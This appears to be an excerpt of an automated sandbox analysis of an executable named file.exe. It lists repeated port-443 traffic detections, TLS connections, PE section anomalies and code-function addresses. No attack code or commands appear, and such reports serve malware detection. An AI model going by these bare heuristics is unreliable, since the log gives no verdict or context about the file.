Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 59735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 59710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 59691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59748
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59753
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59750
Source: unknown	Network traffic detected: HTTP traffic on port 59679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 59701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59759
Source: unknown	Network traffic detected: HTTP traffic on port 59656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59755
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59757
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59641
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59643
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59761
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59760
Source: unknown	Network traffic detected: HTTP traffic on port 50451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 59641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 59668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59649
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59648
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59647
Source: unknown	Network traffic detected: HTTP traffic on port 50397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59655
Source: unknown	Network traffic detected: HTTP traffic on port 59722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59651
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59650
Source: unknown	Network traffic detected: HTTP traffic on port 59680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 59734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 50381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 59711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 50463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59657
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59659
Source: unknown	Network traffic detected: HTTP traffic on port 59745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59663
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59666
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59665
Source: unknown	Network traffic detected: HTTP traffic on port 59657 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59661
Source: unknown	Network traffic detected: HTTP traffic on port 59700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 59756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50458
Source: unknown	Network traffic detected: HTTP traffic on port 50443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50457
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50459
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50450
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50453
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50456
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50469
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50468
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50463
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50470
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50472
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50471
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50473
Source: unknown	Network traffic detected: HTTP traffic on port 59670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 59692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50414
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50419
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50410
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50412
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50411
Source: unknown	Network traffic detected: HTTP traffic on port 59682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50425
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50427
Source: unknown	Network traffic detected: HTTP traffic on port 59730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50426
Source: unknown	Network traffic detected: HTTP traffic on port 59694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50428
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50421
Source: unknown	Network traffic detected: HTTP traffic on port 50465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50423
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50436
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50438
Source: unknown	Network traffic detected: HTTP traffic on port 59649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50437
Source: unknown	Network traffic detected: HTTP traffic on port 59731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50439
Source: unknown	Network traffic detected: HTTP traffic on port 59693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50433
Source: unknown	Network traffic detected: HTTP traffic on port 59719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50449
Source: unknown	Network traffic detected: HTTP traffic on port 59671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50448
Source: unknown	Network traffic detected: HTTP traffic on port 50421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50445
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50469 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59661 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50381
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50384

Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50386 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.164.15:443 -> 192.168.2.5:50395 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50407 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:50423 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:50436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:59733 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5FB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C5FB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C5FB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C59F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5935A0	0_2_6C5935A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5440	0_2_6C5A5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60545C	0_2_6C60545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60542B	0_2_6C60542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5C10	0_2_6C5D5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2C10	0_2_6C5E2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60AC00	0_2_6C60AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD4D0	0_2_6C5BD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A64C0	0_2_6C5A64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6CF0	0_2_6C5D6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59D4E0	0_2_6C59D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A6C80	0_2_6C5A6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F34A0	0_2_6C5F34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC4A0	0_2_6C5FC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BED10	0_2_6C5BED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C0512	0_2_6C5C0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AFD00	0_2_6C5AFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0DD0	0_2_6C5D0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F85F0	0_2_6C5F85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606E63	0_2_6C606E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9E50	0_2_6C5B9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3E50	0_2_6C5D3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2E4E	0_2_6C5E2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B4640	0_2_6C5B4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59C670	0_2_6C59C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D7E10	0_2_6C5D7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5600	0_2_6C5E5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9E30	0_2_6C5F9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6076E3	0_2_6C6076E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59BEF0	0_2_6C59BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AFEF0	0_2_6C5AFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5E90	0_2_6C5B5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FE680	0_2_6C5FE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4EA0	0_2_6C5F4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D7710	0_2_6C5D7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A9F00	0_2_6C5A9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C6FF0	0_2_6C5C6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59DFE0	0_2_6C59DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E77A0	0_2_6C5E77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8850	0_2_6C5B8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD850	0_2_6C5BD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DF070	0_2_6C5DF070
